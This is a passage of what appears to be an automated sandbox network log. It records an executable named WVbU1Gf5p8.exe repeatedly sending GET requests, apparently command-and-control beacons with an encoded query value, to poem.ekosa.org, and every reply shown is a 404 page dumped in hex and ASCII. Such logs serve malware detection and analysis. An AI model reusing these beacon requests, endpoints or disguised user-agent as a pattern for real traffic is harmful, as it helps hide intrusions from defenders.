Jan 11, 2021 17:56:19.848494053 CET	5138	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:20.111985922 CET	5138	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:19 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.4	49921	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:20.385375977 CET	5139	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:20.649458885 CET	5139	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:19 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.4	49922	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:21.034924984 CET	5140	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:21.298191071 CET	5141	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:21 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.4	49923	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:21.567193031 CET	5141	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:21.826863050 CET	5142	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:21 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.4	49924	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:22.097666025 CET	5143	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:22.359352112 CET	5143	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:22 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.4	49925	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:22.742177010 CET	5144	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:23.009763002 CET	5144	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:22 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
148	192.168.2.4	49926	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:23.289743900 CET	5145	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:23.552211046 CET	5146	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:23 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
149	192.168.2.4	49927	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:23.821980953 CET	5146	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:24.083828926 CET	5147	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:23 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.4	49778	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:55:05.361941099 CET	283	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:55:05.632652044 CET	288	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:55:04 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
150	192.168.2.4	49929	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:24.464745045 CET	5156	OUT	GET /intro/info/info.asp?id=dn678 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:24.724941969 CET	5157	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:24 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
151	192.168.2.4	49930	210.116.91.80	80	C:\Users\user\Desktop\WVbU1Gf5p8.exe

Timestamp	kBytes transferred	Direction	Data
Jan 11, 2021 17:56:24.994271040 CET	5158	OUT	GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: poem.ekosa.org Connection: Keep-Alive
Jan 11, 2021 17:56:25.256720066 CET	5158	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Mon, 11 Jan 2021 16:56:24 GMT Connection: close Content-Length: 315 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META 